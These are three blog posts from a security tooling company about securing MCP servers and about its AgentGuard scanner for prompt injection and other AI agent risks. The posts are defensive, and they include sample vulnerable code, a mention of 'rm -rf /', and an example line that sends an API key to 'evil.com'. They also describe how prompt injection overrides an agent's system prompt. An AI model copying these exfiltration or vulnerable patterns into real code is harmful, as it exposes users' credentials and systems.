DEV Community: Dockfix Labs

Securing MCP Servers: A Practical Guide

Dockfix Labs — Mon, 29 Jun 2026 01:00:36 +0000

What is MCP and Why Does Security Matter?

The Model Context Protocol (MCP) is an open standard that lets AI assistants connect to external tools, databases, and APIs. Claude Code, Cursor, and other AI coding assistants use MCP servers to extend their capabilities.

But every MCP server is a potential attack surface. A malicious or misconfigured MCP server can:

Execute arbitrary commands on your machine
Read sensitive files (SSH keys, .env, credentials)
Send your data to external servers
Install malicious packages
Override safety instructions in the AI assistant

Common MCP Security Risks

1. Command Injection via Tool Arguments

{
  "tools": [{
    "name": "run_shell",
    "description": "Run a shell command",
    "inputSchema": {
      "type": "object",
      "properties": {
        "command": {"type": "string"}
      }
    }
  }]
}

This tool passes user input directly to a shell. An attacker can craft a malicious prompt that makes the AI execute rm -rf / or exfiltrate data via curl.

2. Unrestricted File Access

{
  "tools": [{
    "name": "read_file",
    "inputSchema": {
      "type": "object",
      "properties": {
        "path": {"type": "string"}
      }
    }
  }]
}

No path validation means the AI can read ~/.ssh/id_rsa, ~/.aws/credentials, or /etc/passwd.

3. External Network Calls

An MCP server that makes HTTP requests to arbitrary URLs can be used as a data exfiltration channel:

@mcp.tool()
def fetch_url(url: str) -> str:
    return requests.get(url).text  # No URL validation!

4. Missing Rate Limits

Without rate limits, an attacker can:

Exhaust API quotas
Generate huge bills
DoS the underlying service

5. Unpinned Dependencies

{
  "dependencies": {
    "some-package": "*"  # Latest version, always
  }
}

If a dependency is compromised (supply chain attack), your MCP server automatically installs the malicious version.

How to Audit Your MCP Configuration

Manual Review Checklist

List all tools -- what can each tool do?
Check input validation -- are arguments sanitized?
Check file access -- is access restricted to specific directories?
Check network calls -- are outbound URLs whitelisted?
Check dependencies -- are they pinned to specific versions?
Check permissions -- does the server run as root?
Check logging -- are secrets being logged?

Automated Scanning with MCP Scanner

pip install dfx-mcp-scanner

The MCP Scanner automatically checks MCP server configurations for the risks above:

# Scan a Claude Code config
mcp-scanner ~/.claude/mcp.json

# Scan a Cursor config
mcp-scanner ~/.cursor/mcp.json

# JSON output for CI/CD
mcp-scanner config.json --format json

It detects:

Tools with unrestricted shell access
Tools with unrestricted file read/write
External network calls without URL validation
Missing rate limits
Unpinned dependencies
Hardcoded credentials in config
And more (7 security checks total)

Combining with AgentGuard

For full coverage, use both tools together:

# Scan MCP configuration
mcp-scanner ~/.claude/mcp.json

# Scan the MCP server source code
agentguard ./my-mcp-server/ --format sarif

MCP Scanner audits the configuration. AgentGuard audits the implementation.

Best Practices for MCP Server Authors

1. Validate All Inputs

from pathlib import Path

@mcp.tool()
def read_file(path: str) -> str:
    # Restrict to allowed directory
    allowed = Path("/safe/directory")
    target = (allowed / path).resolve()
    if not str(target).startswith(str(allowed)):
        raise ValueError("Path traversal detected")
    return target.read_text()

2. Whitelist External URLs

ALLOWED_DOMAINS = {"api.github.com", "api.openai.com"}

@mcp.tool()
def fetch_url(url: str) -> str:
    from urllib.parse import urlparse
    domain = urlparse(url).hostname
    if domain not in ALLOWED_DOMAINS:
        raise ValueError(f"Domain {domain} not allowed")
    return requests.get(url, timeout=10).text

3. Pin Dependencies

{
  "dependencies": {
    "requests": "2.31.0",
    "pydantic": "2.5.0"
  }
}

4. Run as Non-Root

USER 1000:1000

5. Add Rate Limits

from collections import defaultdict
from time import time

RATE_LIMIT = {}
RATE_WINDOW = 60  # seconds
RATE_MAX = 10  # calls per window

def check_rate_limit(client_id: str):
    now = time()
    if client_id not in RATE_LIMIT:
        RATE_LIMIT[client_id] = []
    RATE_LIMIT[client_id] = [t for t in RATE_LIMIT[client_id] if now - t < RATE_WINDOW]
    if len(RATE_LIMIT[client_id]) >= RATE_MAX:
        raise Exception("Rate limit exceeded")
    RATE_LIMIT[client_id].append(now)

Conclusion

MCP servers are powerful extensions for AI assistants, but they introduce real security risks. Audit your configurations regularly, validate all inputs, restrict file and network access, and use automated tools to catch issues early.

Tools Mentioned

AgentGuard -- OWASP ASI Top 10 scanner for AI agent code
MCP Scanner -- Security scanner for MCP server configurations
AgentGuard Benchmark -- 28 vulnerable code samples for testing

All tools are MIT-licensed and open source. Install with pip install dfx-agentguard dfx-mcp-scanner.

Beyond Regex: Building Detection Rules for AI Agent Vulnerabilities

Dockfix Labs — Sun, 28 Jun 2026 22:45:51 +0000

Beyond Regex: Building Detection Rules for AI Agent Vulnerabilities

When I started building AgentGuard, the first question was: how do you detect a prompt injection vulnerability in source code?

Unlike traditional vulnerabilities (SQL injection, XSS), prompt injection doesn't have a single signature. It's a pattern of untrusted data flowing into LLM context. The vulnerability isn't in a function call -- it's in how data is constructed.

The Regex Foundation

Every SAST tool starts with pattern matching. AgentGuard's first layer is regex-based rules:

# ASI01: Prompt Injection
FSTRING_INJECTION = re.compile(
    r'(?:prompt|system|message|instruction)\s*[:=]\s*f["\'].*\{.*\}',
    re.I
)

This catches the most common pattern: f-strings that embed user input directly into LLM prompts. It is blunt but effective. In a scan of 50 open-source agent codebases, this single rule found 127 instances.

The Problem with Regex

Regex has limits. Consider:

# Pattern A: Obvious
prompt = f"You are a helper. {user_input}"

# Pattern B: Subtle
template = "You are a helper. {input}"
prompt = template.format(input=user_data)

# Pattern C: Hidden
messages = [{"role": "system", "content": config["system_prompt"] + user_message}]

Pattern A is trivial to detect. Pattern B requires understanding .format() semantics. Pattern C requires tracking data flow through dictionaries and list construction.

This is where AgentGuard is headed next: AST-based semantic analysis.

The AST Layer (Roadmap)

The next version of AgentGuard will parse Python and JavaScript ASTs to track taint flow:

Identify sources: function parameters named user_input, query, message, request.body
Track propagation: variable assignments, string formatting, list/dict construction
Identify sinks: openai.chat.completions.create, prompt, messages, system
Flag paths: any path from source to sink without sanitization

This is the same approach Semgrep and CodeQL use for traditional vulnerabilities, but specialized for LLM-specific sinks.

Correlation Detection

AgentGuard already does a simple form of correlation for ASI03 (Data Exfiltration):

# Line 1: Secret access
api_key = os.environ.get("API_KEY")

# Line 2: Network call
requests.post("https://evil.com/collect", headers={"Auth": api_key})

The rule checks if a secret-access pattern appears on line N and a network-exfiltration pattern appears on line N+1. This catches the most dangerous pattern: an agent that reads credentials and sends them externally.

Future versions will extend this to full function-level taint tracking.

The OWASP ASI Top 10 Coverage

AgentGuard currently covers all 10 categories:

ASI	Rule	Detection Method
ASI01	Prompt Injection	Regex (f-string, concat, format)
ASI02	Tool Abuse	Regex (os.system, subprocess, eval)
ASI03	Data Exfiltration	Regex + cross-line correlation
ASI04	Excessive Agency	Regex (auto-execute, no-confirm)
ASI05	Supply Chain	Regex (untrusted pip install, dynamic import)
ASI06	Insecure Output	Regex (raw HTML, eval output)
ASI07	Credential Exposure	Regex (API keys, private keys, passwords)
ASI08	Context Manipulation	Regex (context stuffing, token bombing)
ASI09	Agent Loop Exploitation	Regex (recursive calls, no depth limit)
ASI10	Trust Boundary	Regex (mixed privilege, cross-agent calls)

Benchmark Results

The benchmark suite has 28 samples:

ASI01 (6 samples): 100% detection
ASI02 (5 samples): 100% detection
ASI03 (4 samples): 100% detection
ASI07 (6 samples): 100% detection
ASI10 (5 samples): 100% detection
Clean (2 samples): 0% false positives

What's Next

AST-based taint tracking for Python and JavaScript
Language support: Rust, Go, Java
GitHub Code Scanning integration via SARIF
MCP server mode for real-time scanning in AI coding assistants
Semantic injection detection -- understanding prompt structure, not just string patterns

The long-term goal is simple: make AI agent code as auditable as web application code. We have Semgrep for web apps. We need AgentGuard for agent apps.

AgentGuard is MIT-licensed and open source. Install with pip install dfx-agentguard.

AgentGuard: Open-Source Security Scanning for AI Agent Code

Dockfix Labs — Sun, 28 Jun 2026 22:41:23 +0000

The Problem

AI agents are being deployed at scale — in customer support, code generation, data analysis, and autonomous workflows. But the code that powers these agents is rarely security-audited.

Consider this pattern, common in production agent codebases:

user_input = request.json()["prompt"]
prompt = f"You are a helpful assistant. {user_input}"
response = openai.chat.completions.create(
    model="gpt-4",
    messages=[{"role": "user", "content": prompt}]
)

This is a prompt injection vulnerability. A user can override the system prompt and manipulate the agent's behavior. It is the AI equivalent of SQL injection — and it is everywhere.

OWASP ASI Top 10

The OWASP Agentic Security Initiative published a Top 10 list of risks specific to AI agent systems:

ID	Risk
ASI01	Prompt Injection
ASI02	Tool Abuse / Unintended Tool Use
ASI03	Data Exfiltration / Sensitive Data Leakage
ASI04	Unauthorized Actions / Excessive Agency
ASI05	Supply Chain / Untrusted Components
ASI06	Insecure Output Handling
ASI07	Credential / Secret Exposure
ASI08	Context Window Manipulation
ASI09	Agent Loop Exploitation
ASI10	Trust Boundary Violation

Most of these have no coverage in traditional SAST tools. Semgrep and CodeQL were built for a world without LLMs.

AgentGuard

AgentGuard is an open-source static analysis tool that scans AI agent codebases for all 10 OWASP ASI categories.

Install

pip install dfx-agentguard

Usage

# Scan current directory
agentguard .

# JSON output for CI/CD
agentguard src/ --format json

# SARIF for GitHub code scanning
agentguard . --format sarif

What It Detects

Prompt Injection (ASI01) — f-string prompt construction, string concatenation with user input, system prompt overrides.

# Vulnerable
prompt = f"You are a helpful assistant. {user_input}"

# AgentGuard flags this as ASI01-PROMPT-INJECTION

Tool Abuse (ASI02) — os.system(), subprocess with user input, eval()/exec() in agent tool functions.

# Vulnerable
def run_command(query):
    return os.system(f"echo {query}")

# AgentGuard flags this as ASI02-TOOL-ABUSE

Data Exfiltration (ASI03) — requests.post() to external URLs, fetch() calls, webhook configurations, DNS-based exfiltration patterns, subprocess curl/wget calls.

# Vulnerable
requests.post("https://analytics-server.com/collect", json=agent_data)

# AgentGuard flags this as ASI03-DATA-EXFIL

Credential Exposure (ASI07) — hardcoded API keys (sk-proj-*, AKIA*, ghp_*), private keys, connection strings with passwords, wallet seed phrases, Slack tokens, Google API keys.

# Vulnerable
OPENAI_API_KEY = "sk-proj-Tq8m2X4vN7bR1wK9pL3hY6jD5cF0aZ8s"

# AgentGuard flags this as ASI07-CREDENTIAL-LEAK

Plus: Excessive Agency (ASI04), Supply Chain (ASI05), Insecure Output Handling (ASI06), Context Manipulation (ASI08), Agent Loop Exploitation (ASI09), Trust Boundary Violations (ASI10).

Integration Options

CLI

agentguard . --format text
agentguard . --format json --exit-code
agentguard . --format sarif

Pre-commit Hook

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/dockfixlabs/agentguard
    rev: v0.2.2
    hooks:
      - id: agentguard

GitHub Action

# .github/workflows/security.yml
name: Agent Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: dockfixlabs/agentguard@v0.2.2
        with:
          path: src/
          format: sarif

MCP Server Mode

AgentGuard can run as a Model Context Protocol server, letting AI coding assistants (Claude Code, Cursor) scan code in real-time:

agentguard --mcp

VS Code Extension

Inline diagnostics, scan-on-save, and a findings tree view. Available as a VSIX on the releases page.

Benchmark Suite

The AgentGuard Benchmark provides 28 vulnerable code samples across 5 OWASP ASI categories, plus clean code for false-positive testing.

git clone https://github.com/dockfixlabs/agentguard-benchmark
cd agentguard-benchmark
python benchmark.py

Roadmap

Semantic analysis — AST-based detection beyond regex patterns
Multi-language support — Rust, Go, Java, Ruby
GitHub Code Scanning integration — native SARIF upload
MCP scanner — audit MCP server configurations for malicious tools
Real-time IDE feedback — deeper VS Code integration

Full roadmap on GitHub.

Project Structure

Repository	Description
agentguard	Core scanner + CLI + MCP server
mcp-scanner	MCP server configuration scanner
agentguard-app	GitHub App for automated PR reviews
agentguard-vscode	VS Code extension
agentguard-benchmark	Benchmark suite with 28 samples

Getting Started

pip install dfx-agentguard
agentguard . --format text

If you find this useful, star the repo on GitHub. Contributions welcome — see CONTRIBUTING.md.

AgentGuard is MIT-licensed and built by Dockfix Labs.